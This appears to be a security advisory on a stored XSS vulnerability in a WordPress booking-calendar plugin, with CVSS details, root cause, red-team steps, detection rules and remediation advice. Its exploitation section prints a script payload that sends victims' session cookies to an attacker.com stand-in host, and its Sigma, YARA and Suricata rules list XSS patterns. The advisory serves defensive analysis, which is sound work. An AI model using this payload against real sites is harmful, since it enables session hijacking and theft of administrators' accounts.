CVE-2025-48231

Executive Summary

CVE-2025-48231 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Booking Calendar Contact Form" by Codepeople, affecting versions up to and including 1.2.58. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the affected page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (limited data exposure)
• Integrity Impact: Low (limited data modification)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of WordPress plugins elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the booking-calendar-contact-form plugin, specifically in the handling of user input within the booking form fields (e.g., name, email, message). The plugin fails to properly sanitize or escape user-supplied data before storing it in the database and later rendering it on the admin or front-end pages. An attacker can submit a booking request containing malicious JavaScript code (e.g., <script>alert('XSS')</script>). When an administrator or visitor views the booking entries (e.g., via the admin dashboard or a public calendar), the script executes in their browser.

Root Cause: The plugin uses functions like echo or print without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) when outputting stored data.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker submits a booking form with a malicious payload in a text field.
3. The plugin stores the payload in the database without sanitization.
4. When an admin or user views the booking list or calendar, the payload is rendered and executed.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In vulnerable version (<=1.2.58)
echo '<div class="booking-name">' . $booking_name . '</div>';

Patched Code (Hypothetical):

// In a patched version
echo '<div class="booking-name">' . esc_html( $booking_name ) . '</div>';

The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with the vulnerable plugin (version <= 1.2.58) installed and activated.
• A web browser with developer tools.

Exploitation Steps:

1. Navigate to the booking form page (e.g., /booking-calendar-contact-form/).
2. Fill in the form fields with a malicious payload, such as:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the form.
4. Wait for an administrator or user to view the booking entries (e.g., via /wp-admin/admin.php?page=booking-calendar-contact-form).
5. The victim's browser executes the script, sending their session cookie to the attacker's server.

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team

Detection & Prevention:

• Monitor for unusual booking form submissions containing script tags or event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit plugin code for unescaped output.

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing cookie data (e.g., GET /steal.php?cookie=...).
• Host: Presence of <script> tags in the wp_postmeta or custom plugin tables.
• Logs: Unusual booking form submissions with HTML/JavaScript in text fields.
• File: Modified plugin files (though unlikely in stored XSS).

Example IOC (Sigma Rule):

title: Suspicious Booking Form Submission
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS payloads in booking form submissions
logsource:
  category: web
  product: wordpress
detection:
  selection:
    http.method: POST
    http.url: '/wp-admin/admin-ajax.php'
    http.body: '*<script>*'
  condition: selection
falsepositives:
  - Legitimate use of JavaScript in form fields (rare)
level: high

Detection Engineering

YARA Rule

rule CVE_2025_48231_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Booking Calendar Contact Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48231"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-48231 Stored XSS Detection
id: 87654321-4321-4321-4321-210987654321
status: experimental
description: Detects stored XSS attempts against Booking Calendar Contact Form plugin
logsource:
  category: web
  product: wordpress
detection:
  selection:
    http.method: POST
    http.url: '*/wp-admin/admin-ajax.php*'
    http.body: '*action=booking_calendar_contact_form*'
  filter:
    - http.body: '*<script>*'
    - http.body: '*onload*'
    - http.body: '*onerror*'
  condition: selection and filter
falsepositives:
  - None expected
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48231 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_calendar_contact_form"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a WAF rule to block common XSS patterns in form submissions.
3. Apply a Content Security Policy (CSP) that restricts inline scripts.

Long-Term Fix:

• The vendor (Codepeople) must release a patched version that properly escapes all user input before output.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert